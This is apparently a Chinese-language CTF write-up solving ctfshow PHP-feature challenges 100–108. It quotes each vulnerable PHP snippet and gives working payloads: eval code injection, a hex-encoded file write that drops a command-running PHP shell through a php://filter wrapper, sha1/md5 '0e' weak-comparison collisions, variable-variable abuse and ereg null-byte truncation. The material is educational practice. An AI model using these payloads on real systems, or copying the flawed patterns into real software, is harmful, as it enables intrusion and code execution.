ctfshow web入门 php特性 100-108

发布时间 2023-03-31 18:27:41作者: kazie

100-103 代码相似,考察方向不同

104、106、107 需要了解哈希碰撞与弱比较

105、108 作为扩展

重点:

  1、了解运算符优先级

  2、了解反射类

  3、了解哈希碰撞

  4、了解可变变量

  5、了解弱比较原理

  6、了解 intval()、ereg() 函数与哈希加密算法函数(sha1、md5)缺点

web 100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){        //v2不能有 ; ,这里可以用 ?>代替
        if(preg_match("/\;/", $v3)){    //v3必须有 ;
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

知识点

  1、运算符优先级:赋值运算符 > 逻辑运算符,只要v1为数字就行,因此 v2 为此题突破点

  2、命令执行漏洞(eval() 函数)

要求:v1要求为纯数字

      v3含有 ; 

 

payload

v1=2&v2=eval($_POST[a])?>%23&v3=;

flag如下,其中 0x2d 为符号 - 的 ASCII 码

 

 

 

web101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
} 

知识点

  类与反射类

要求:v1为数字,v2不能为特殊字符,v3不能为 ; 以外的特殊字符

payload

v1=1&v2=echo new ReflectionClass&v3=;

获取的 flag 需要将 0x2d 替换成 - ,同时此 flag 还差最后一位

flag 是由 16 进制组成,所以范围是 0~f,需要爆破(手动或脚本)

最多爆破 16 次,我试了十几次,运气不行

 

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

要求:v1 为函数名,v2 是三位以上的数字

知识点

  1、file_put_contents() 与依次调用 fopen()、fwrite()、fclose() 三个函数的效果一致

    同时 file_put_contents() 属于文件包含函数,应该想到伪协议,因此 v3 使用伪协议

  2、is_numeric() 可以识别八进制、16进制、科学计数法

  3、call_user_func($callback,$args)($callback:回调函数,$args:参数)

  4、回调函数:简单理解为 把函数当作参数使用

    简单测试一下

    以输出函数 print()、echo()、print_r()、var_dump() 为例

#print 和 echo 会报错,原因在下面


#var_dump 和 print_r 则不会报错


#原因
#以 echo 为例,这是 vscode 给出的使用方法及定义(print同理)


# 可见 var_dump 使用方法与定义和 echo 完全不同(print_r同理)

 



#结论 print 和 echo 不是函数,而是语言结构,参考 php官方文档

php官方中文文档print 解释echo解释


再分析一下代码执行过程:

  1、用 substr() 对 v2 从第2为进行截断,因此需要填充前两位

  2、选择函数 v1 执行,参数为 v2

  3、将执行结果打印并写入文件 v3

我们在 v3 使用伪协议获取 $str 的内容,而$str = call_user_func($v1,$s)

重点在于函数的选择,参数的内容,v2 必须是纯数字(八进制、十六进制、科学计数法),同时也为payload

因此,我们需要将 payload 转换成 16进制,

payload

#get
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

#post
# hex2bin() 将16进制转字符串为二进制字符串
v1=hex2bin #v2 参数解释(可以不用 base64编码,转为16进制能满足 is_numeric() 函数就行)
#这里先base64编码,再转为16进制,恰好能满足 is_numeric() 函数限制
#对<?=`cat *`;进行base64编码为:PD89YGNhdCAqYDs=(删除=) #将 PD89YGNhdCAqYDs 转换为16进制为:5044383959474e6864434171594473(科学计数法) #前两使用 11 进行填充

访问1.php

 

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?> 

仅在 web102 的基础上过滤 php

payload

同web102

 

 

web104

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

考察哈希碰撞

  1、哈希算法无法对数组加密

  2、题目中使用弱比较,若两个变量加密后是 0e 开头的的哈希值,则相同

    原因:== 与 ===区别

  3、强碰撞

payload

#由于这题简单,两个参数赋予相同的值即可

#法二
#post
v1[]=1
#get
v2[]=1

 

web105

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces); 

知识点

  1、foreach($_POST as $_key=>$_value) 解释为遍历$_POST数组内的元素,每组元素为一个键($key)对应一个值($value)的形式。

  2、$$(可变变量)

    举例

    
    结果          过程:       $
$q 等价于 $($q),因 $q = 'var_1',所以 $$q = $($q) = $var_1       又因 $$q = 'var_2'       所以 $var_1 = 'var_2'

分析

  重点在于$$的运用

  一共使用了三次 die() 函数,第二次输出 $error,第三次输出 $suces

  如果我们通过可变变量的使用,使 $error=$suces=$flag,则无论执行第二个 die() 还是第三个 die(),都可以获取 flag

payload

get  error = flag
post suces = error

 

 

web106

(web104的升级版)

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
} 

要求:v1 、v2 值不同,sha1加密后相同

payload

 

#法一
get  v2[]=1
post v1[]=2

#法二 sha1 碰撞
#sha1加密后均为 0e 开头,弱比较会被字母截断成0
get v2=10932435112 post v1=aaroZmOk

 

 

 

 

web107

(web106升级版)

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

} 

知识点

  1、parse_str(string,array)用法

    1)把查询字符串解析到变量中

    2)存储变量到一个数组中

  2、md5碰撞(与 sha1 碰撞同属哈希碰撞)

 

payload

get  v3=QNKCDZO
post v1=flag=0

 

 

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

要求:c 为字母,不能有数字

知识点

  1、ereg() 此函数已在 PHP 5.3.0 中弃用,并在 PHP 7.0.0 中删除

    ereg() 可被%00截断

    intval() 可被字母截断

payload

c=a%00q778